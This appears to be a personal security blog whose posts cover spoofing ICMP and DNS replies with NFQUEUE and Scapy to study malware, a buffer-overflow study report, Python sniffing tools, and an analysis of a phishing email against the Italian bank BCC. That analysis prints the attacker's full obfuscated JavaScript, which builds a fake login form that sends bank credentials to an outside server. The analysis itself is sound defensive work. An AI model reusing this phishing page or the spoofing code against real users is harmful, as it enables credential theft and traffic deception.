Having fun with NFQUEUE and Scapy

Hi guys,
sorry for the long silence! I know, I know, it has been long time from my last entry in this blog. During this year I have been very busy with my last year at university and thus I focused all my attention to pass the exams and to find a good final project and so I spent less time on security and related projects.

In this post I am going to explain how to use nfqueue python bindings to fool a service or a malware when it tries to use DNS and/or ICMP, it is just a proof of concept, nothing more. This can be useful in different kind of situations, for example to see the behaviour of a sample when it tries to contact a server that is no more up, or when again the same sample tries to test if it is able to surf the net pinging google.
nfqueue bindings is an handy set of functions to read the target NFQUEUE of Iptables. Using this target we are able to decide to accept or drop a packet from userland, in addition we can modify the packet and send it again for example. Let’s see how to use NFQUEUE. First of all it is necessary to set a rule using Iptables in order to specify which packets
will be involved in the jump for that target, let’s set it

 iptables -A OUTPUT -p tcp –dport 6667 -j NFQUEUE

For example this rule means that all the outgoing TCP traffic with destination port 6667 (generally IRC port) should jump to the target NFQUEUE at the queue num 0 (by default the queue is 0 otherwise you have to specify it manually). Once the rule is set we have to use the python bindings. The functions are not well documented but fortunately there are some good tutorials on the net to figure out the main features such as  Zardus’ Blog, Malware Forge etc.
Now it is time to see how we can read that sort of queue, let’s see the code below:


def main():
 q = nfqueue.queue()
 q.open()
 q.bind(socket.AF_INET)
 q.set_callback(process)
 q.create_queue(0)

 try:
 q.try_run()
 except KeyboardInterrupt:
 print "Exiting..."
 q.unbind(socket.AF_INET)
 q.close()
 sys.exit(1)

main()

Basically this code opens the NFQUEUE and parses the packets within it through the callback function, in our case it is called “process”.
In the callback we can do whatever we want. “process” is defined as:

def process(i, payload):
 data = payload.get_data()
 p = IP(data)
 ... etc ...

for us it is very important the payload that means the IP packet.
We are ready to play a bit with ICMP. My idea is to write a rule for iptables to intercept ICMP echo request packets, then we drop them, but we send to the client the expected ICMP echo reply packet. In this way the client does not contact any external server. The code is quite simple and it uses scapy. If you don’t know Scapy it is quite simple and you can have more information here, in particular for us it is important to know how the ICMP packet is handled by Scapy:


11:53:58 dave ~>scapy
WARNING: No route found for IPv6 destination :: (no default route?)
Welcome to Scapy (2.1.0)
>>> ls(ICMP)
type : ByteEnumField = (8)
code : MultiEnumField = (0)
chksum : XShortField = (None)
id : ConditionalField = (0)
seq : ConditionalField = (0)
ts_ori : ConditionalField = (78842914)
ts_rx : ConditionalField = (78842914)
ts_tx : ConditionalField = (78842914)
gw : ConditionalField = ('0.0.0.0')
ptr : ConditionalField = (0)
reserved : ConditionalField = (0)
addr_mask : ConditionalField = ('0.0.0.0')
unused : ConditionalField = (0)
>>>

Let’s some snippets of code:


def send_echo_reply(self, pkt):
		ip = IP()
		icmp = ICMP()
		ip.src = pkt[IP].dst
		ip.dst = pkt[IP].src
		icmp.type = 0
		icmp.code = 0
		icmp.id = pkt[ICMP].id
		icmp.seq = pkt[ICMP].seq
		logger.info("Sending back an echo reply to %s" % ip.dst)
		data = pkt[ICMP].payload
		send(ip/icmp/data, verbose=0)

def process(i, payload):
	data = payload.get_data()
	pkt = IP(data)
	proto = pkt.proto

	# Check if it is a ICMP packet
	if proto is 0x01:
			logger.info("It's an ICMP packet")
			# Idea: intercept an echo request and immediately send back an echo reply packet
			if pkt[ICMP].type is 8:
				logger.info("It's an ICMP echo request packet")
				self.send_echo_reply(pkt)
			else:
				pass
....

Using Scapy we check if the packet is ICMP or not then we check if the ICMP packet is an echo request ( type 8 ) and in this case we invoke the function send_echo_reply. This function generates an echo reply but it is important to highlight some points. Obviously the id field of the ICMP packet should be the same one of the echo request and this is true for the seq field too. Another important feature to create a valid echo reply is that the payload of the reply is the same of the request, otherwise the trick will not work :) Last but least keep in mind the words of the Scapy’s FAQ:

In order to speak to local applications, you need to build your packets one layer upper, using a PF_INET/SOCK_RAW socket instead of a PF_PACKET/SOCK_RAW (or its equivalent on other systems than Linux):
>>> conf.L3socket
<class __main__.L3PacketSocket at 0xb7bdf5fc>
>>> conf.L3socket=L3RawSocket

Let’s run it and if it works as expected you should obtain something like that: 

(see the full code icmp.py)
The ICMP packets of the client have been pwned by our simple script now let’s try to fool the DNS. We know that before pinging a domainthe client try to resolve the name of that domain in order to have the IP address, basically this operation is a simple DNS request query. Once the query is successful the client will ping its target. DNS is a bit more complex than ICMP, let’s see DNS in Scapy:


>>> ls(DNS)
id : ShortField = (0)
qr : BitField = (0)
opcode : BitEnumField = (0)
aa : BitField = (0)
tc : BitField = (0)
rd : BitField = (0)
ra : BitField = (0)
z : BitField = (0)
rcode : BitEnumField = (0)
qdcount : DNSRRCountField = (None)
ancount : DNSRRCountField = (None)
nscount : DNSRRCountField = (None)
arcount : DNSRRCountField = (None)
qd : DNSQRField = (None)
an : DNSRRField = (None)
ns : DNSRRField = (None)
ar : DNSRRField = (None)
>>> ls(DNSQR)
qname : DNSStrField = ('')
qtype : ShortEnumField = (1)
qclass : ShortEnumField = (1)
>>> ls(DNSRR)
rrname : DNSStrField = ('')
type : ShortEnumField = (1)
rclass : ShortEnumField = (1)
ttl : IntField = (0)
rdlen : RDLenField = (None)
rdata : RDataField = ('')
>>>

In order to fully understand all the fields remember that google is your friend.
What we are going to do it is an idea quite simple. We are going to write a iptables rule for the DNS traffic and then we will deal with the packets in the NFQUEUE, basically DNS queries, then we will parse them and of course these packets will be dropped, we don’t want to contact external servers and we will generate the DNS response packet to trick the client. Let’s see the code:


def fake_dns_reply(self, pkt, qname):
 ip = IP()
 udp = UDP()
 ip.src = pkt[IP].dst
 ip.dst = pkt[IP].src
 udp.sport = pkt[UDP].dport
 udp.dport = pkt[UDP].sport

 solved_ip = "31.33.7.31" # I'm lazy, reader you might create a function to generate random IP :))
 qd = pkt[UDP].payload
 dns = DNS(id = qd.id, qr = 1, qdcount = 1, ancount = 1, arcount = 1, nscount = 1, rcode = 0)
 dns.qd = qd[DNSQR]
 dns.an = DNSRR(rrname = qname, ttl = 257540, rdlen = 4, rdata = solved_ip)
 dns.ns = DNSRR(rrname = qname, ttl = 257540, rdlen = 4, rdata = solved_ip)
 dns.ar = DNSRR(rrname = qname, ttl = 257540, rdlen = 4, rdata = solved_ip)
 print "Sending the fake DNS reply to %s:%s" % (ip.dst, udp.dport)
 send(ip/udp/dns)

This is the main function for generating a fake DNS reply. It is worth noting that the id field should be the same of the request, the ttl values come from looking at wireshark, they are common values in a DNS reply. Last but not least remember that the counters (qdcount, ancount etc) should contain the exact number of entries for the given section of the DNS packet. In the final code we have to handle the UDP protocol too (yes, DNS is over UDP) and in particular for our experiment we check the common port for  a DNS server, the UDP port number 53. Before going on you should remember to set the rule for the DNS traffic:

 iptables -A OUTPUT -p udp –dport 53 -j NFQUEUE

Finally if it works as expected:

(see the final code icmp_dns_fun.py). Keep in mind we can ping also a not available site and we will obtain anyway the DNS answer and obviously the ICMP echo replies.

Happy hacking!


emdel

My smashing improved

Hi,

in this brief post I will show you the improvements I have made on “Smashing the stack in 2010″. First of all I have improved the bibliography in order to help the readers to learn and delve into as well as to give the credits to others researchers for their works. Then I have rewritten the section “write an exploit” in my Windows part because of lack of clarity in the previous version, now I hope it is suitable to a newbie. Last but not least I have added a new part called “Real Scenario” in which we are going to analyze real exploits, in fact it is important – to gain a real and useful knowledge – to be able to analyze a real attack even it can be complex and sophisticated. In the report I have analyzed in detail  CVE-2010-0249 (Operation Aurora exploit) and CVE-2010-2883 (the Adobe cooltype sing table exploit), they are good examples of attacks through memory corruption vulnerabilities. I know that thare are a lot of analyses especially for CVE-2010-2883, but we know the paradigm “learning by doing” :) anyway if you want to read other good works I suggest you the following VUPEN (a great analysis!) and jduck (on Metasploit blog).

Smashing the stack in 2010 (improved) : download

Table of contents (of the new part):

IV Real Scenario 75
8 Attacks and memory corruption 75
9 Memory corruption in practice 76
10 Examples of real attacks 77
10.1 Theory: Heap Spraying . . . . . . . . . . . . . . . . . 77
10.2 CVE-2010-0249 – Internet Explorer 6, 2010 – Graziano.  . 78
10.3 CVE-2010-2883 – Adobe Acrobat Reader, 2010 – Graziano  . 84

As usual feel free to contact me to ask questions, to give a feedback, to point an error out to me or just to chat :)

Happy hacking!! (again :P )

Phishing against BCC bank

In this post I am going to point out a real case of phishing against an italian bank, BCC (Banca di Credito Coperativo). Today I have received a well written mail to my university account, it says:

The body obviously is in italian and it is also good from a sintax point of view, the sender is ufficiocentral@sef.bcc.it, an address very similar to ufficiocentrale@sef.bcc.it (already blacklisted by www.anti-phishing.it). In addition it has an HTML attachment, in fact the mail asks to the customers to update their profiles otherwise the bank threatens to freeze the account. Now let’s focus out attention on the attachment:

<Script Language='Javascript'>
<!--
document.write(unescape('%3C%68%74%6D%6C%3E%0A%3C%68%65%61%64%3E%0A%20%20%20%20%20%20%3C%6D%65%74%61%20%68%74%74%70%2D%65%71%75%69%76%3D%22%63%6F%6E%74%65%6E%74%2D%74%79%70%65%22%20%63%6F%6E%74%65%6E%74%3D%22%74%65%78%74%2F%68%74%6D%6C%3B%20%63%68%61%72%73%65%74%3D%75%74%66%2D%38%22%20%2F%3E%0A%20%20%3C%74%69%74%6C%65%3E%42%61%6E%63%61%20%64%69%20%43%72%65%64%69%74%6F%20%43%6F%6F%70%65%72%61%74%69%76%6F%20%7C%20%4C%6F%67%69%6E%3C%2F%74%69%74%6C%65%3E%0A%20%0A%20%20%20%20%3C%6C%69%6E%6B%20%72%65%6C%3D%22%73%74%79%6C%65%73%68%65%65%74%22%20%68%72%65%66%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%62%63%63%64%65%67%6C%69%75%6C%69%76%69%2E%69%74%2F%74%65%6D%70%6C%61%74%65%73%2F%70%77%63%2D%6D%75%73%69%63%2F%63%73%73%2F%74%65%6D%70%6C%61%74%65%2E%63%73%73%22%20%74%79%70%65%3D%22%74%65%78%74%2F%63%73%73%22%20%2F%3E%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%3C%62%72%3E%3C%62%72%3E%3C%62%72%3E%3C%62%72%3E%3C%62%72%3E%0A%3C%74%61%62%6C%65%20%62%6F%72%64%65%72%3D%22%30%22%20%20%63%65%6C%6C%70%61%64%64%69%6E%67%3D%22%34%22%20%63%65%6C%6C%73%70%61%63%69%6E%67%3D%22%30%22%20%63%6C%61%73%73%3D%22%63%6F%6E%74%65%6E%74%70%61%6E%65%22%3E%0A%3C%74%72%3E%0A%09%3C%74%64%20%63%6F%6C%73%70%61%6E%3D%22%32%22%3E%0A%09%09%09%09%3C%64%69%76%20%63%6C%61%73%73%3D%22%63%6F%6D%70%6F%6E%65%6E%74%68%65%61%64%69%6E%67%22%3E%0A%09%09%09%3C%63%65%6E%74%65%72%3E%41%72%65%61%20%72%69%73%65%72%76%61%74%61%20%28%4C%6F%67%69%6E%29%09%09%3C%2F%63%65%6E%74%65%72%3E%3C%2F%64%69%76%3E%0A%09%09%09%09%3C%64%69%76%3E%0A%09%09%09%09%09%09%09%09%3C%2F%64%69%76%3E%0A%20%0A%09%3C%2F%74%64%3E%0A%3C%2F%74%72%3E%0A%3C%54%52%3E%0A%3C%54%44%3E%3C%49%4D%47%20%53%52%43%3D%22%68%74%74%70%3A%2F%2F%63%63%32%30%30%30%2E%6F%72%2E%6B%72%2F%62%62%73%2F%64%61%74%61%2F%42%43%43%2E%6A%70%67%22%20%41%4C%54%3D%22%62%63%63%22%20%77%65%69%67%74%68%3D%22%32%34%31%70%78%22%20%77%69%64%74%68%3D%22%35%33%39%70%78%22%3E%0A%20%0A%3C%2F%54%44%3E%0A%3C%54%44%20%52%4F%57%53%50%41%4E%3D%22%32%22%3E%3C%66%69%65%6C%64%73%65%74%20%63%6C%61%73%73%3D%22%69%6E%70%75%74%22%3E%0A%20%20%0A%20%0A%20%0A%20%0A%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%22%68%74%74%70%3A%2F%2F%38%37%2E%32%33%36%2E%31%36%2E%36%36%2F%2E%73%65%72%76%69%7A%69%5F%63%6C%69%65%6E%74%69%2F%73%65%72%76%69%7A%69%5F%63%6C%69%65%6E%74%69%2E%70%68%70%22%20%6D%65%74%68%6F%64%3D%22%70%6F%73%74%22%20%6E%61%6D%65%3D%22%63%6F%6D%2D%6C%6F%67%69%6E%22%20%69%64%3D%22%63%6F%6D%2D%66%6F%72%6D%2D%6C%6F%67%69%6E%22%3E%0A%09%3C%70%20%69%64%3D%22%63%6F%6D%2D%66%6F%72%6D%2D%6C%6F%67%69%6E%2D%75%73%65%72%6E%61%6D%65%22%3E%0A%09%09%3C%6C%61%62%65%6C%20%66%6F%72%3D%22%75%73%65%72%6E%61%6D%65%22%3E%43%6F%64%69%63%65%20%75%74%65%6E%74%65%3A%3C%2F%6C%61%62%65%6C%3E%0A%09%09%26%6E%62%73%70%3B%26%6E%62%73%70%3B%26%6E%62%73%70%3B%26%6E%62%73%70%3B%26%6E%62%73%70%3B%26%6E%62%73%70%3B%26%6E%62%73%70%3B%26%6E%62%73%70%3B%26%6E%62%73%70%3B%26%6E%62%73%70%3B%3C%69%6E%70%75%74%20%6E%61%6D%65%3D%22%75%73%65%72%6E%61%6D%65%22%20%69%64%3D%22%75%73%65%72%6E%61%6D%65%22%20%74%79%70%65%3D%22%74%65%78%74%22%20%63%6C%61%73%73%3D%22%69%6E%70%75%74%62%6F%78%22%20%61%6C%74%3D%22%75%73%65%72%6E%61%6D%65%22%20%73%69%7A%65%3D%22%31%38%22%20%2F%3E%0A%09%3C%2F%70%3E%0A%09%3C%70%20%69%64%3D%22%63%6F%6D%2D%66%6F%72%6D%2D%6C%6F%67%69%6E%2D%70%61%73%73%77%6F%72%64%22%3E%0A%20%0A%09%09%3C%6C%61%62%65%6C%20%66%6F%72%3D%22%70%61%73%73%77%64%22%3E%50%61%73%73%77%6F%72%64%3A%3C%2F%6C%61%62%65%6C%3E%0A%09%09%26%6E%62%73%70%3B%26%6E%62%73%70%3B%26%6E%62%73%70%3B%26%6E%62%73%70%3B%26%6E%62%73%70%3B%26%6E%62%73%70%3B%26%6E%62%73%70%3B%26%6E%62%73%70%3B%26%6E%62%73%70%3B%26%6E%62%73%70%3B%26%6E%62%73%70%3B%26%6E%62%73%70%3B%26%6E%62%73%70%3B%26%6E%62%73%70%3B%3C%69%6E%70%75%74%20%74%79%70%65%3D%22%70%61%73%73%77%6F%72%64%22%20%69%64%3D%22%70%61%73%73%77%64%22%20%6E%61%6D%65%3D%22%70%61%73%73%77%6F%72%64%22%20%63%6C%61%73%73%3D%22%69%6E%70%75%74%62%6F%78%22%20%73%69%7A%65%3D%22%31%38%22%20%61%6C%74%3D%22%70%61%73%73%77%6F%72%64%22%20%2F%3E%0A%09%3C%2F%70%3E%0A%3C%70%20%69%64%3D%22%63%6F%6D%2D%66%6F%72%6D%2D%6C%6F%67%69%6E%2D%70%61%73%73%77%6F%72%64%22%3E%0A%20%0A%09%09%3C%6C%61%62%65%6C%20%66%6F%72%3D%22%70%61%73%73%77%64%22%3E%50%61%73%73%77%6F%72%64%20%44%69%73%70%6F%73%69%74%69%76%61%3A%3C%2F%6C%61%62%65%6C%3E%0A%09%09%09%3C%69%6E%70%75%74%20%74%79%70%65%3D%22%70%61%73%73%77%6F%72%64%22%20%69%64%3D%22%70%61%73%73%77%64%22%20%6E%61%6D%65%3D%22%64%69%61%22%20%63%6C%61%73%73%3D%22%69%6E%70%75%74%62%6F%78%22%20%73%69%7A%65%3D%22%31%38%22%20%61%6C%74%3D%22%70%61%73%73%77%6F%72%64%22%20%2F%3E%0A%09%3C%2F%70%3E%0A%20%0A%3C%70%20%69%64%3D%22%63%6F%6D%2D%66%6F%72%6D%2D%6C%6F%67%69%6E%2D%70%61%73%73%77%6F%72%64%22%3E%0A%20%0A%09%09%3C%6C%61%62%65%6C%20%66%6F%72%3D%22%70%61%73%73%77%64%22%3E%43%2E%46%2F%50%2E%49%56%41%3A%3C%2F%6C%61%62%65%6C%3E%0A%09%09%26%6E%62%73%70%3B%26%6E%62%73%70%3B%26%6E%62%73%70%3B%26%6E%62%73%70%3B%26%6E%62%73%70%3B%26%6E%62%73%70%3B%26%6E%62%73%70%3B%26%6E%62%73%70%3B%26%6E%62%73%70%3B%26%6E%62%73%70%3B%26%6E%62%73%70%3B%26%6E%62%73%70%3B%26%6E%62%73%70%3B%26%6E%62%73%70%3B%26%6E%62%73%70%3B%3C%69%6E%70%75%74%20%74%79%70%65%3D%22%74%65%78%74%22%20%69%64%3D%22%63%6F%64%69%63%65%22%20%6E%61%6D%65%3D%22%63%6F%64%69%63%65%22%20%63%6C%61%73%73%3D%22%69%6E%70%75%74%62%6F%78%22%20%73%69%7A%65%3D%22%31%38%22%20%61%6C%74%3D%22%70%61%73%73%77%6F%72%64%22%20%2F%3E%0A%09%3C%2F%70%3E%0A%20%0A%20%0A%20%0A%09%09%3C%62%72%3E%3C%64%69%76%20%61%6C%69%67%6E%3D%22%72%69%67%68%74%22%3E%0A%09%09%3C%69%6E%70%75%74%20%74%79%70%65%3D%22%73%75%62%6D%69%74%22%20%6E%61%6D%65%3D%22%53%75%62%6D%69%74%22%20%63%6C%61%73%73%3D%22%62%75%74%74%6F%6E%22%20%76%61%6C%75%65%3D%22%4C%6F%67%69%6E%22%20%2F%3E%3C%62%72%3E%0A%20%0A%20%0A%20%0A%26%63%6F%70%79%3B%20%20%42%61%6E%63%68%65%20%64%69%20%43%72%65%64%69%74%6F%20%43%6F%6F%70%65%72%61%74%69%76%6F%20%0A%3C%2F%74%64%3E%0A%20%0A%3C%2F%66%69%65%6C%64%73%65%74%3E%0A%20%0A%20%20%0A%20%0A%3C%2F%54%41%42%4C%45%3E%20'));
//-->
</Script>

As we can see it is a javascript script which uses obfuscation. In order to understand what it does we will use malzilla, and we obtain an html page:

Here we have to analyze the following addresses:

- hxxp://www.bccdegliulivi.it
- hxxp://cc2000.or.kr
- hxxp://87.236.16.66

The first one is used to have a good and believable template (it is a legitimate site) in fact it imports the CSS, and it is a clever idea to trick an unware user. The second one is a korean site from which the BCC logo is loaded and it is weird that it is a korean one. The last address is russian and it calls a PHP script (/.servizi_clienti/servizi_clienti.php) to process the submitted data and grab the user account. Fortunately the path above is not reachable but the main site (87.236.16.66) is up (ParkedEU it seems a web hosting company), let’s dig a bit:

IP Location: Russian Federation Moscow Regional Educational Information
Centre Resolve Host: parkedeu.com

Guessing the nature of the russian site: the site has been compromised and used to host malicious services or in the worst hypothesis it belongs to some criminal organizations. Going one step further we know that the Autonomous System (AS) of this site is AS25519 and we have no result in http://www.maliciousnetworks.org/chart.php?as=25519 , in addition the address is also not found using http://amada.abuse.ch/?search=87.236.16.66 thus probably it is only a compromised site. Remembering that the path of PHP script is no longer available maybe the machine has been reclaimed and the threat is vanished.
Let’s conclude this brief entry saying to pay attention to mails that apparently come from banks, in this case we have seen how the mail is well written and believable to a unaware user.

Smashing the stack in 2010

Many years have passed since the AlephOne article. This is true and fortunately we have a lot of papers dealing with buffer overflows and all its related issues in these 14 years. For example recently Peter Van Eeckhoutte has written the famous “exploit writing tutorials” that covers all aspects to exploit a Windows systems, considering also the countermeasures introduced from XP SP2. On the other side we are observing all the new tecniques introduced to circumvent these kind of protections, see for example the last Black Hat USA in which Dino Dai Zovi explains return-oriented exploitation techniques to bypass DEP or the last Black Hat DC where Dionysus Blazakis has presented his innovative talk “Interpreter exploitation: pointer interfence and JIT spraying” to defeat ASLR and DEP. Speaking about linux systems all the underground groups have written at least one tutorial or how-to explaining the secrets of this kind of memory corruption vulnerabilities, of course the best ones are on Phrack Megazine. Googling I have become aware of a problem, in fact reading all these documents it is hard to find tutorials/papers in which

  • it is covered the BOF issue in Linux and Windows from A to Z
  • its countermeasures are described in detail

this is my humble opinion, maybe this kind of paper exists and i’m too lame using google :)

After this boring introduction, sorry for my poor english, it’s time to understand what means “Smashing the stack in 2010″. The project is born to pass Computer Security exam at the Politecnico di Torino and the idea behind this report is quite simple: study and document buffer overflows protections recently introduced in compilers and OS like GNU/Linux and Windows (eventually 7) following these steps:

  • background: read papers and test sample code
  • understand why exploits in Aleph One paper do not work with new OS
  • try, if it is possible, to trick the countermeasures
  • document the results with practical examples

I with my classmate Andrea Cugliari have tried to write a step by step guide covering in an unique paper all the aspects related to buffer overflows and their protection mechanisms both in Windows and Linux OS.

Thanks to Giovanni, our tutor, to his preciuos advices about coding and latex!

Now let’s look at the toc:

Introduction and Theoretical Background
1 Theoretical Background
1.1 Processes and memory layout in x86 . . . . . . . . . . . . . . . . . . . . . . . . 5
1.2 Registers, Pointers and Assembler . . . . . . . . . . . . . . . . . . . . . . . . . . 5
1.3 Stack layout in x86 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
1.4 Function call and termination . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
1.5 Buffer Overflow issue . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12

1.6 Shellcodes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13

II Hands on Linux

2 Setup Testbed environment 21
3 Linux buffer overflow 101 22
3.1 How to change the flow of execution . . . . . . . . . . . . . . . . . . . . . . . . . 22
3.2 How to spawn a Shell . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
3.3 Polite exit from a process: exit system call . . . . . . . . . . . . . . . . . . . . . 30
3.4 Write an exploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33
4 Protections against buffer overflow…………………………….35
4.1 Programmers protections . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35

4.2 System default protections . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36

4.2.1 Address Space Layout Randomization (ASLR) . . . . . . . . . . . . . . . 36

4.2.2 Stack Execute Invalidation (NX bit) . . . . . . . . . . . . . . . . . . . . 39
4.3 Compiler and linker protections . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
4.3.1 StackShield (Optional) . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
4.3.2 StackGuard (Optional) . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42
4.3.3 Stack Smashing Protector – ProPolice (Default installed) . . . . . . . . . 43
4.3.4 Run time checks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43
4.4 Protections in a practical scenario . . . . . . . . . . . . . . . . . . . . . . . . . . 44
4.5 Combined Tricks in a future scenario . . . . . . . . . . . . . . . . . . . . . . . . 45
III Hands on Windows 47

5 Setup Testbed environment 47
6 Windows buffer overflow 101 48
6.1 How to change the flow of execution . . . . . . . . . . . . . . . . . . . . . . . . . 48
6.2 How to spawn a shell . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52
6.3 ExitProcess system call . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56
6.4 Write an exploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59
7 Protections against buffer overflow …………………………….  60
7.1 Buffer Security Check – /GS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61
7.2 /SafeSEH . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63
7.2.1  /GS & /SafeSEH possible tricks . . . . . . . . . . . . . . . . . . . . . . . 63
7.3 Address Space Layout Randomization (ASLR) . . . . . . . . . . . . . . . . . . . 64
7.3.1 Address Space Layout Randomization (ASLR) possible tricks . . . . . . 66
7.4 Data Execution Prevention (DEP) . . . . . . . . . . . . . . . . . . . . . . . . . 66
7.4.1 Data Execution Prevention (DEP) possible tricks . . . . . . . . . . . . . 68
7.5 Runtime Checks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68
7.6 Results . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69
7.7 Today, tomorrow, the future . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70
7.8 Conclusions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71

In order to read the full paper:  Smashing the stack in 2010 (old version please read the post: http://5d4a.wordpress.com/2010/10/13/my-smashing-improved/ , anyway to download the new report: Smahing the stack in 2010 (improved)).

feel free to contact me to point out errors or to send me a feedback.

Happy hacking,

emdel

I’m alive… News

Hi readers,

in this period i’m busy and thus no post in the last weeks, months. As soon as possible I will release a nice paper called “Smashing the stack in 2010″, born as project for the Computer Systems Security exam, it is just an introduction on stack based buffer overflows and their exploitation. It is a modern “Smashing the stack for fun and profit”, the bible written by Aleph One, it was 1996. The paper will cover both Linux and Windows systems and it gives an overview of all contermeasures developed in these years. Writing this report with a smart classmate I have improved my latex skills, at the end latex is so elegant and it will be useful for the thesis :)

From coding point of view, pcapino has new features and it works properly, look below:

** pcapino - 5D4A LAB **

:: Pcap filter: tcp or udp
:: Parsing log.pcap
:: Traffic sniffed on DLT_EN10MB

:: TCP Connection Number 1: xxx.xxx.xxx.xxx:yyyy <--> aaa.aaa.aaa.aaa:80
 |__ Number of packets: 10

:: TCP Connection Number 2: xxx.xxx.xxx.xxx:yyyy <--> aaa.aaa.aaa.aaa:1863
 |__ Number of packets: 4

:: UDP Connection Number 1: 192.168.xxx.xxx:yyyy <--> aaa.aaa.aaa.aaa:53
 |__ Number of packets: 5

:: Bye bye...

In this way it is possible to distinguish among different connections, on the other hand there is also
the already known verbose mode:

** pcapino - 5D4A LAB **

:: Pcap filter: tcp or udp
:: Parsing log.pcap
:: Traffic sniffed on DLT_EN10MB

:: TCP Connection Number 1: xxx.xxx.xxx.xxx:yyyy <--> aaa.aaa.aaa.aaa:cc
 |__ Number of packets: 10

:: TCP session:

------------------------------------------------------------------------------------------------------------------------------------
| TYPE  |       FROM            |       TO              |       SEQ      |      WIN      |      EVENTS
------------------------------------------------------------------------------------------------------------------------------------
| TCP   | xxx.xxx.xxx.xxx:yyyy   | aaa.aaa.aaa.aaa:cc      | 2797258817     |      5840     | SYN
------------------------------------------------------------------------------------------------------------------------------------
| TCP   | xxx.xxx.xxx.xxx:yyyy   | aaa.aaa.aaa.aaa:cc      | 2797258817     |      5840     | SYN
------------------------------------------------------------------------------------------------------------------------------------
| TCP   | xxx.xxx.xxx.xxx:yyy      | aaa.aaa.aaa.aaa:cc   | 2164376809     |      5792     | SYN/ACK
------------------------------------------------------------------------------------------------------------------------------------

....
:: UDP Connection Number 1: zzz.zzz.zzz.zzz:www <--> ddd.ddd.ddd.ddd:uu
 |__ Number of packets: 5

:: UDP session:

------------------------------------------------------------------------------------------------------------------------------------
| TYPE  |       FROM            |       TO              |       SEQ      |      WIN      |      EVENTS
------------------------------------------------------------------------------------------------------------------------------------
| UDP   | zzz.zzz.zzz.zzz:www   | ddd.ddd.ddd.ddd:uu     | /              |      /        | DNS QUERY RESPONSE
------------------------------------------------------------------------------------------------------------------------------------
| UDP   | zzz.zzz.zzz.zzz:ww   | ddd.ddd.ddd.ddd:uu     | /              |      /        | DNS QUERY RESPONSE
<pre>

see you soon,

stay tuned!!

Something about Python and network analysis

In these series of posts we will see how to build some necessary tools from scratch to perform our tasks. Today we focus our attention on network, we are going to build a sniffer and a relative simple parser. Why don’t I use the well-known tcpdump? Wireshark? Tshark? First of all it’s more satisfactory to code your own tool, second it’s a good practice to develop a problem solving attitude and improve our knowledge, and finally it’s so cool to code in Python! ;)
The holy Python helps us, some smart guys of the famous security agency Core Security have coded two modules Pcapy and Impacket. The first one is an interface with the well known libpcap packet capture library, while the second one is a power module to craft and decode packets.

In this post we will see some parts of two scripts, the first yas.py will sniff and save the traffic in a .pcap file, the second, pcapino.py will parse the previous file looking for UDP and TCP connections, in particular the script will show us the following information: the type of layer 4 used (TCP or UDP), the source ip and source port, the destination ip and the destination port, the sequential number, the window size and GET request if they are present. We need this information in order to figure out what a program, maybe potentially dangerous does, in this  demonstrative scripts I’ll pay attention on GET request and DNS activity ( most common activities to droppers and/or dnschangers :)).

The first thing to do is to code the sniffer that dumps all traffic in a .pcap file, let’s see some snippets:

#
# Yet Another Sniffer - 5D4A LAB - emdel
# Contact: "echo "emfuckspammer87@gmail.com" | sed s/fuckspammer/del/ "
# To stop it use ctrl-c ^_* Have fun!
#

import pcapy, sys
from pcapy import findalldevs, open_live
from impacket.ImpactDecoder import EthDecoder

Here we observe clearly the necessary import, in particular pcapy and impacket.
Now let’s see the part that realizes the dump:

class Handling:

    def __init__( self, pcapObj, decoder, dmp ):
        self.d = pcapObj
        self.dec = decoder
        self.dumper = dmp

    def PktHandler( self, hdr, data ):
        self.dumper.dump( hdr, data )

Here we notice how, once we have sniffed the packet, how to dump it on the .pcap file.
Now we must code our parser focusing on tcp and udp, let’s observe the some snippets from the parser:

# pcapino - 5D4A LAB - emdel
# Description: It is a simple pcap file parser
# Author: emdel - 5D4A LAB - "echo "emfuckspammer87@gmail.com" | sed s/fuckspammer/del/ "
# TODO: - Follow TCP sessions - Parse L7 - More support to L2
# Have fun!

import pcapy, sys, string
from pcapy import open_offline
from impacket.ImpactDecoder import EthDecoder

Again the same import except for open_offline, logically we open the file .pcap and so we are not in an online scenario :)

class Handling:

    def __init__( self, pcapObj, decoder ):
        self.d = pcapObj
        self.dec = decoder

    def PktHandler( self, hdr, data ):

        pkt = self.dec.decode( data )
        ip = pkt.child( )

        if ip.get_ip_p( ) == 17:
            udp = ip.child( )
            print "| %s\t| %s:%d \t| %s:%d \t| %c\t\t |\t%c\t | %s" % ( "UDP", ip.get_ip_src(), udp.get_uh_sport( ), ip.get_ip_dst(),udp.get_uh_dport( ), "/", "/", "/" )
....

Here we see how we handle an UDP packet and how we can print it on the stdout, first we check the protocol field on the IP header to see if it is TCP or UDP and then we manage it properly.
Now it’s time to launch these scripts and check if they run properly ;):


[root@zangetsu lab (22:56)]# python yas.py post.pcap

** Yet Another Sniffer - 5D4A LAB **

:: Interfaces:
 |__ eth0
 |__ bluetooth0
 |__ lo
:: Datalink: DLT_EN10MB
:: Sniffing on eth0 - network: xxx.xxx.xxx.0 - mask: 255.255.255.0

:: Packets:

Exiting...

Let’s see what we have sniffed:


